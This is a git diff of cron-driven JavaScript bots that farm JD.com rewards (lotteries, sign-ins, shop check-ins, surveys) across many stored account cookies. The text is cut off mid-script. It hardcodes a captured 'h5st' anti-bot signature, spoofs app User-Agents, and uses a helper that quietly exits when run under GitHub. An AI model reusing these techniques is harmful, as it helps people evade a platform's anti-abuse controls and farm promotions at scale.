e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}) -} - -// prettier-ignore -function Env(t,e){'undefined'!=typeof process&&JSON.stringify(process.env).indexOf('GITHUB')>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e='GET'){t='string'==typeof t?{url:t}:t;let s=this.get;return'POST'===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,'POST')}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile='box.dat',this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator='\n',this.startTime=(new Date).getTime(),Object.assign(this,e),this.log('',`🔔${this.name}, 开始!`)}isNode(){return'undefined'!=typeof module&&!!module.exports}isQuanX(){return'undefined'!=typeof $task}isSurge(){return'undefined'!=typeof $httpClient&&'undefined'==typeof $loon}isLoon(){return'undefined'!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata('@chavy_boxjs_userCfgs.httpapi');i=i?i.replace(/\n/g,'').trim():i;let r=this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout');r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split('@'),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:'cron',timeout:r},headers:{'X-Key':o,Accept:'*/*'}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require('fs'),this.path=this.path?this.path:require('path');const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require('fs'),this.path=this.path?this.path:require('path');const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,'.$1').split('.');let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):'';if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,''):e}catch(t){e=''}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?'null'===o?null:o||'{}':'{}';try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require('got'),this.cktough=this.cktough?this.cktough:require('tough-cookie'),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers['Content-Type'],delete t.headers['Content-Length']),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{'X-Surge-Skip-Scripting':!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on('redirect',(t,e)=>{try{if(t.headers['set-cookie']){const s=t.headers['set-cookie'].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers['Content-Type']&&(t.headers['Content-Type']='application/x-www-form-urlencoded'),t.headers&&delete t.headers['Content-Length'],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{'X-Surge-Skip-Scripting':!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method='POST',this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={'M+':s.getMonth()+1,'d+':s.getDate(),'H+':s.getHours(),'m+':s.getMinutes(),'s+':s.getSeconds(),'q+':Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+'').substr(4-RegExp.$1.length)));for(let e in i)new RegExp('('+e+')').test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:('00'+i[e]).substr((''+i[e]).length)));return t}msg(e=t,s='',i='',r){const o=t=>{if(!t)return t;if('string'==typeof t)return this.isLoon()?t:this.isQuanX()?{'open-url':t}:this.isSurge()?{url:t}:void 0;if('object'==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t['open-url'],s=t.mediaUrl||t['media-url'];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t['open-url']||t.url||t.openUrl,s=t['media-url']||t.mediaUrl;return{'open-url':e,'media-url':s}}if(this.isSurge()){let e=t.url||t.openUrl||t['open-url'];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=['','==============📣系统通知📣=============='];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join('\n')),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log('',`❗️${this.name}, 错误!`,t.stack):this.log('',`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log('',`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/jd_SuperBrandJXZ.js b/jd_SuperBrandJXZ.js index aa48e23..ed465d2 100644 --- a/jd_SuperBrandJXZ.js +++ b/jd_SuperBrandJXZ.js @@ -2,7 +2,7 @@ 入口:首页下拉 特务集勋章 不开卡但尝试领取开卡任务奖励,集齐勋章晚上8点后瓜分,需要开卡才能集齐 -3 10,17,20 * * * jd_SuperBrandJXZ.js +8 10,18,20 * * * jd_superBrandJXZ.js */ const $ = new Env('特务集勋章'); const notify = $.isNode() ? require('./sendNotify') : ''; @@ -32,7 +32,7 @@ if ($.isNode()) { $.isLogin = true; $.nickName = ''; $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - await TotalBean(); + //await TotalBean(); console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); @@ -42,9 +42,13 @@ if ($.isNode()) { } continue } - await main(); + try { + await main(); + }catch (e) { + console.log(`好像账号黑号~~~`); + } await $.wait(2000); - if (i == 0 && $.flag) return; + if ($.flag) return; } })().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) @@ -53,7 +57,7 @@ async function main() { $.runFlag = false; $.activityInfo = {}; await takeRequest('showBadgeInfo'); - if($.bizCode == 'MP001'){ + if ($.bizCode == 'MP001') { console.log(`本期活动结束,等待下期。。。`); $.flag = true return; @@ -68,6 +72,20 @@ async function main() { await takeRequest('superBrandTaskList', { "source": "badge", "activityId": $.activityId }); await $.wait(1000); await doTask(); + if (new Date().getHours() >= 20) { + console.log(`去瓜分`); + if ($.activityInfo.activityBadgeInfo.allTaskStatus === 1) { + if ($.activityInfo.activityBadgeInfo.divideStatus === 0) { + await takeRequest('superBrandTaskLottery', { "source": "badge", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "tag": "divide" }); + } else { + $.log('已瓜分过啦!') + } + } else { + $.log('未获得瓜分资格'); + } + } else { + console.log('未到瓜分时间!') + } } @@ -160,7 +178,7 @@ function dealReturn(type, data) { switch (type) { case 'showBadgeInfo': $.bizCode = data.data.bizCode; - if (data.code === '0' && data.data && data.data.result) { + if (data.code === '0' && data.data?.result) { $.activityInfo = data.data.result; } break; @@ -171,13 +189,22 @@ function dealReturn(type, data) { break; case 'superBrandDoTask': if (data.code === '0') { - console.log(JSON.stringify(data.data.bizMsg)); + console.log(data.data.bizMsg); } else { - console.log(JSON.stringify(data)); + console.log(data); + } + break; + case 'superBrandTaskLottery': + if (data.data.success) { + if (data.data?.result?.rewardComponent?.successRewards) { + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } else { + console.log(data.bizMsg); } break; default: - console.log(JSON.stringify(data)); + console.log(data); } } diff --git a/jd_club_lottery.js b/jd_club_lottery.js index 13cbe45..d86efd0 100644 --- a/jd_club_lottery.js +++ b/jd_club_lottery.js @@ -1,25 +1,22 @@ /* -Last Modified time: 2021-5-11 09:27:09 活动入口:京东APP首页-领京豆-摇京豆/京东APP首页-我的-京东会员-摇京豆 增加京东APP首页超级摇一摇(不定时有活动) 增加超级品牌日做任务及抽奖 -增加 京东小魔方 抽奖 -Modified from https://github.com/Zero-S1/JD_tools/blob/master/JD_vvipclub.py 已支持IOS双京东账号,Node.js支持N个京东账号 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js ============QuantumultX============== [task_local] #摇京豆 -5 0,23 * * * jd_club_lottery.js, tag=摇京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true +11 0,18 * * * jd_club_lottery.js, tag=摇京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true =================Loon=============== [Script] -cron "5 0,23 * * *" script-path=jd_club_lottery.js,tag=摇京豆 +cron "11 0,18 * * *" script-path=jd_club_lottery.js,tag=摇京豆 =================Surge============== [Script] -摇京豆 = type=cron,cronexp="5 0,23 * * *",wake-system=1,timeout=3600,script-path=jd_club_lottery.js +摇京豆 = type=cron,cronexp="11 0,18 * * *",wake-system=1,timeout=3600,script-path=jd_club_lottery.js ============小火箭========= -摇京豆 = type=cron,script-path=jd_club_lottery.js, cronexpr="5 0,23 * * *", timeout=3600, enable=true +摇京豆 = type=cron,script-path=jd_club_lottery.js, cronexpr="11 0,18 * * *", timeout=3600, enable=true */ const $ = new Env('摇京豆'); @@ -52,10 +49,10 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); return; } - await welcomeHome() - if ($.superShakeUrl) { - await getActInfo($.superShakeUrl); - } + // await welcomeHome() + // if ($.superShakeUrl) { + // await getActInfo($.superShakeUrl); + // } for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { cookie = cookiesArr[i]; @@ -69,7 +66,7 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; $.isLogin = true; $.nickName = ''; message = '' - await TotalBean(); + //await TotalBean(); console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); @@ -106,6 +103,7 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; "actionType": 0, "source": "main" }); + await $.wait(1000); if (!$.canHelp) { console.log(`次数已用完,跳出助力`) break @@ -139,13 +137,13 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; async function clubLottery() { try { await doTasks();//做任务 - await getFreeTimes();//获取摇奖次数 + //await getFreeTimes();//获取摇奖次数 await vvipclub_receive_lottery_times();//京东会员:领取一次免费的机会 await vvipclub_shaking_info();//京东会员:查询多少次摇奖次数 await shaking();//开始摇奖 await shakeSign();//京东会员签到 await superShakeBean();//京东APP首页超级摇一摇 - await superbrandShakeBean();//京东APP首页超级品牌日 + //await superbrandShakeBean();//京东APP首页超级品牌日 } catch (e) { $.logErr(e) } @@ -191,38 +189,38 @@ async function doTasks() { } } async function shaking() { + console.log(`开始摇盒子`) for (let i = 0; i < new Array($.leftShakingTimes).fill('').length; i++) { - console.log(`开始 【京东会员】 摇奖`) await $.wait(1000); const newShakeBeanRes = await vvipclub_shaking_lottery(); if (newShakeBeanRes.success) { - console.log(`京东会员-剩余摇奖次数:${newShakeBeanRes.data.remainLotteryTimes}`) + console.log(`摇盒子剩余次数:${newShakeBeanRes.data.remainLotteryTimes}`) if (newShakeBeanRes.data && newShakeBeanRes.data.rewardBeanAmount) { $.prizeBeanCount += newShakeBeanRes.data.rewardBeanAmount; - console.log(`恭喜你,京东会员中奖了,获得${newShakeBeanRes.data.rewardBeanAmount}京豆\n`) + console.log(`恭喜你,中奖了,获得${newShakeBeanRes.data.rewardBeanAmount}京豆\n`) } else { console.log(`未中奖\n`) } } } - for (let i = 0; i < new Array($.freeTimes).fill('').length; i++) { - console.log(`开始 【摇京豆】 摇奖`) - await $.wait(1000); - const shakeBeanRes = await shakeBean(); - if (shakeBeanRes.success) { - console.log(`剩余摇奖次数:${shakeBeanRes.data.luckyBox.freeTimes}`) - if (shakeBeanRes.data && shakeBeanRes.data.prizeBean) { - console.log(`恭喜你,中奖了,获得${shakeBeanRes.data.prizeBean.count}京豆\n`) - $.prizeBeanCount += shakeBeanRes.data.prizeBean.count; - $.totalBeanCount = shakeBeanRes.data.luckyBox.totalBeanCount; - } else if (shakeBeanRes.data && shakeBeanRes.data.prizeCoupon) { - console.log(`获得优惠券:${shakeBeanRes.data.prizeCoupon['limitStr']}\n`) - } else { - console.log(`摇奖其他未知结果:${JSON.stringify(shakeBeanRes)}\n`) - } - } - } - if ($.prizeBeanCount > 0) message += `摇京豆:获得${$.prizeBeanCount}京豆`; + // for (let i = 0; i < new Array($.freeTimes).fill('').length; i++) { + // console.log(`开始 【摇京豆】 摇奖`) + // await $.wait(1000); + // const shakeBeanRes = await shakeBean(); + // if (shakeBeanRes.success) { + // console.log(`剩余摇奖次数:${shakeBeanRes.data.luckyBox.freeTimes}`) + // if (shakeBeanRes.data && shakeBeanRes.data.prizeBean) { + // console.log(`恭喜你,中奖了,获得${shakeBeanRes.data.prizeBean.count}京豆\n`) + // $.prizeBeanCount += shakeBeanRes.data.prizeBean.count; + // $.totalBeanCount = shakeBeanRes.data.luckyBox.totalBeanCount; + // } else if (shakeBeanRes.data && shakeBeanRes.data.prizeCoupon) { + // console.log(`获得优惠券:${shakeBeanRes.data.prizeCoupon['limitStr']}\n`) + // } else { + // console.log(`摇奖其他未知结果:${JSON.stringify(shakeBeanRes)}\n`) + // } + // } + // } + //if ($.prizeBeanCount > 0) message += `摇京豆:获得${$.prizeBeanCount}京豆`; } function showMsg() { return new Promise(resolve => { @@ -271,20 +269,21 @@ function vvipclub_shaking_info() { } //京东会员摇奖API function vvipclub_shaking_lottery() { + let h5st = 'h5st=20220731095220008;9428754190460302;ae692;tk02wae471be618nu2AtLaVUAqz83VXz7Mwfw9BdcpqRvC/hLcdG0HsqaoLPQFmOM2+6vPCnb6TIqmQnb86/Lro5R+ee;c075187ab379fa154d5ed726fa6c91463518fa7932f6bbd4781ef36609885093;3.0;1659232340008'; return new Promise(resolve => { const options = { - url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_lottery&body=%7B%7D`, + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_lottery&h5st=${encodeURIComponent(h5st)}body=%7B%7D`, headers: { "accept": "application/json", "accept-encoding": "gzip, deflate, br", "accept-language": "zh-CN,zh;q=0.9", "cookie": cookie, - "origin": "https://skuivip.jd.com", - "referer": "https://skuivip.jd.com/", + "origin": "https://spa.jd.com", + "referer": "https://spa.jd.com/", "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") } } - $.get(options, (err, resp, data) => { + $.post(options, (err, resp, data) => { try { if (err) { console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) @@ -417,10 +416,14 @@ function shakeBean() { //新版超级本摇一摇 async function superShakeBean() { await superBrandMainPage(); + await $.wait(1000); if ($.activityId && $.encryptProjectId) { await superBrandTaskList(); + await $.wait(1000); await superBrandDoTaskFun(); + await $.wait(1000); await superBrandMainPage(); + await $.wait(1000); await lo(); } if ($.ActInfo) { @@ -429,7 +432,7 @@ async function superShakeBean() { await fc_getHomeData($.ActInfo, true);//做完任务后查询多少次摇奖次数 await superShakeLottery($.ActInfo);//开始摇奖 } else { - console.log(`\n\n京东APP首页超级摇一摇:目前暂无活动\n\n`) + console.log(`\n京东APP首页超级摇一摇:目前暂无活动\n`) } } function welcomeHome() { @@ -814,7 +817,7 @@ async function superBrandDoTaskFun() { if (item['assignmentType'] === 2) { const { ext } = item; const assistTaskDetail = ext['assistTaskDetail']; - console.log(`${item['assignmentName']}好友邀请码: ${assistTaskDetail['itemId']}`) + console.log(`${item['assignmentName']}好友邀请码: ${assistTaskDetail['itemId']}\n`) if (assistTaskDetail['itemId']) $.assigFirends.push({ itemId: assistTaskDetail['itemId'], encryptAssignmentId: item['encryptAssignmentId'], @@ -833,12 +836,12 @@ function superBrandDoTask(body) { console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) } else { if (data) { - if (body['assignmentType'] === 2) { - console.log(`助力好友 ${body['itemId']}结果 ${data}`); - } else { - console.log('做任务结果', data); - } data = JSON.parse(data); + if (body['assignmentType'] === 2) { + console.log(`助力结果: ${data.data.bizMsg}\n`); + } else { + console.log(`做任务结果:${data.data.bizMsg}\n`); + } if (data && data['code'] === '0' && data['data']['bizCode'] === '108') { $.canHelp = false; } @@ -881,19 +884,19 @@ function superBrandTaskLottery() { if (data['data']['bizCode'] === "TK000") { $.rewardComponent = data['data']['result']['rewardComponent']; if ($.rewardComponent) { - console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.rewardComponent)}`) + //console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.rewardComponent)}`) if ($.rewardComponent.beanList && $.rewardComponent.beanList.length) { - console.log(`获得${$.rewardComponent.beanList[0]['quantity']}京豆`) + console.log(`超级摇一摇 抽奖获得:${$.rewardComponent.beanList[0]['quantity']}京豆\n`) $.superShakeBeanNum += parseInt($.rewardComponent.beanList[0]['quantity']); } } } else if (data['data']['bizCode'] === "TK1703") { - console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}\n`); } else { - console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}\n`); } } else { - console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}\n`) } } } @@ -1129,7 +1132,7 @@ async function shakeSign() { message += `\n京东会员签到:获得${beanNum}京豆\n`; } } else { - console.log(`京东会员第${$.currSignCursor}天已签到`) + console.log(`京东会员第${$.currSignCursor}天已签到\n`) } } function pg_channel_page_data() { diff --git a/jd_dpqd.js b/jd_dpqd.js index e403714..d75aee7 100644 --- a/jd_dpqd.js +++ b/jd_dpqd.js @@ -26,27 +26,24 @@ let num=0 let shopname='' const token = [ "7B5E686A0CAF1C144620A3FFE04AFF1E", - "2C6ED83F0F2FF8F456624EF6D72D5597", - "3949F55A02AA8A345409AFD9821C861F", + "F0A7971BFC6A5C12B06A45080B6C04CF", "BF79A51EB3D3812701DBDC9ED066AE02", - "A92269DC92DDD73CC5EB38B3BACF51E3", - "52B71EA2E4961677AF31D4D2085974EB", - "1DD46671387EAC6FDC14B753E01D5E30", - "0A073A68225B4429CA7AC1322BA3981A", + "E0087463F85940305DCA705308208EBB", + "773D63918C47D32F33DDB2FB78C5820A", + "0D42F0A3359FBC13F816F22201F91EE6", + "FCE9F2E4FB075C3A2CBDF6C27F972B03", "B60ECB73A9E19C9DC9097EC589C731A0", - "F573A078062F9F18BFCC39080864D7F5", - "ED26E464FC19DF617081F86F860AFA31", - "2E0617200F04BF484B2945B7D855345D", + "C1B3B8D4BBE96E6A3EF0C12F27F868D3", + "04CC7B1B2CBB41F9B38D0E2EAF5A9FA6", + "CC8AB17E5EDC1E6791D64AB83567525A", "A6D7A29DB6C46B7D3F7CD6EC3AE110C6", "67D2D5824D043A5C2EA9C53B900B932C", - "E5DA4749F7A04D36FBC4AFCC2D26DD7E", + "30D17316E31067004ED239DE9F121B0D", "AC959DB80E29F4F7CA1EA409C165793B", - "37D0FAA99892A9E613A1B46E5A55973B", "D35923E942C11178C38BD29E783695B8", "9958AB926F4070AF8E14B236DD3CB2C0", - "DB872465EDEB653BB501819F9B9DD326", + "AB549463C778127E4A3EA0F9AE447F43", "8DB49116004EED1D0D944A55F7F33003", - "BF2568B0566EAA51ADAA0B503EE797D1", "C84F63CEFA39F70F461F7F4FAF3DD08A" ] diff --git a/jd_gold_creator.js b/jd_gold_creator.js index 06ac505..c2f7885 100644 --- a/jd_gold_creator.js +++ b/jd_gold_creator.js @@ -54,7 +54,7 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; $.beans = 0 $.nickName = ''; message = ''; - await TotalBean(); + //await TotalBean(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); @@ -100,7 +100,7 @@ async function getDetail() { for (let item of $.subTitleInfos) { console.log(`\n开始给【${item['longTitle']}】主题下的商品进行投票`); await goldCreatorDetail(item['matGrpId'], item['subTitleId'], item['taskId'], item['batchId']); - await $.wait(2000); + await $.wait(4000); } } function goldCreatorTab() { @@ -211,7 +211,7 @@ async function doTask2(batchId) { body['type'] = 2; } await goldCreatorDoTask(body); - await $.wait(2000); + await $.wait(4000); } } if ($.signTask['taskStatus'] === 1) { diff --git a/jd_insight.js b/jd_insight.js new file mode 100644 index 0000000..081bcbb --- /dev/null +++ b/jd_insight.js @@ -0,0 +1,541 @@ +/* +cron "35 11 * * *" jd_insight.js, tag:京洞察问卷通知 + +by ccwav + */ + +const $ = new Env('京洞察问卷通知'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let allnotify=""; +let WP_APP_TOKEN_ONE = ""; + +if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } + + Object.keys(jdCookieNode) + .forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]") + .map(item => item.cookie) + ].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.maxPage = '1'; + message = ''; + //await TotalBean(); + console.log(`******开始查询【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main() + } + } + + if ($.isNode() && allnotify) { + await notify.sendNotify(`${$.name}`, allnotify); + } + +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) + +async function main() { + console.log(`开始获取京洞察调研列表...\n`) + let data= await GetSurveyList(); + if(data.result){ + let list=data.messages.list + if(list.length>0){ + let AccTitle=`账号${$.index} ${$.nickName || $.UserName} `; + let msg = AccTitle+`共${list.length}个类型调查问卷\n`; + for (let index = 0; index < list.length; index++) { + const item = list[index].surveyList; + //msg += `类型:${list[index].type}\n`; + for (let index = 0; index < item.length; index++) { + let surveyItem = item[index]; + let title = surveyItem.title + let subTitle = surveyItem.subTitle + let answerUrl = surveyItem.answerUrl + msg += `${index+1}.【${title}】 ${subTitle}\n点击这里开启问卷\n` + } + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher("京洞察问卷通知", msg, `${$.UserName}`); + } + allnotify+=msg + } + }else{ + $.log('当前账户没有京调研问卷') + } +} + +function random(min, max) { + return parseInt((max - min) * Math.random()); +} +// prettier-ignore +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { + return x.replace(/[xy]/g, function(x) { + var r = 16 * Math.random() | 0, + n = "x" == x ? r : 3 & r | 8; + return uuid = t ? n.toString(36) + .toUpperCase() : n.toString(36), uuid + }) +} + +function GetSurveyList() { + const options = { + "url": 'https://answer.jd.com/community/survey/list', + "headers": { + "Cookie": cookie, + "User-Agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 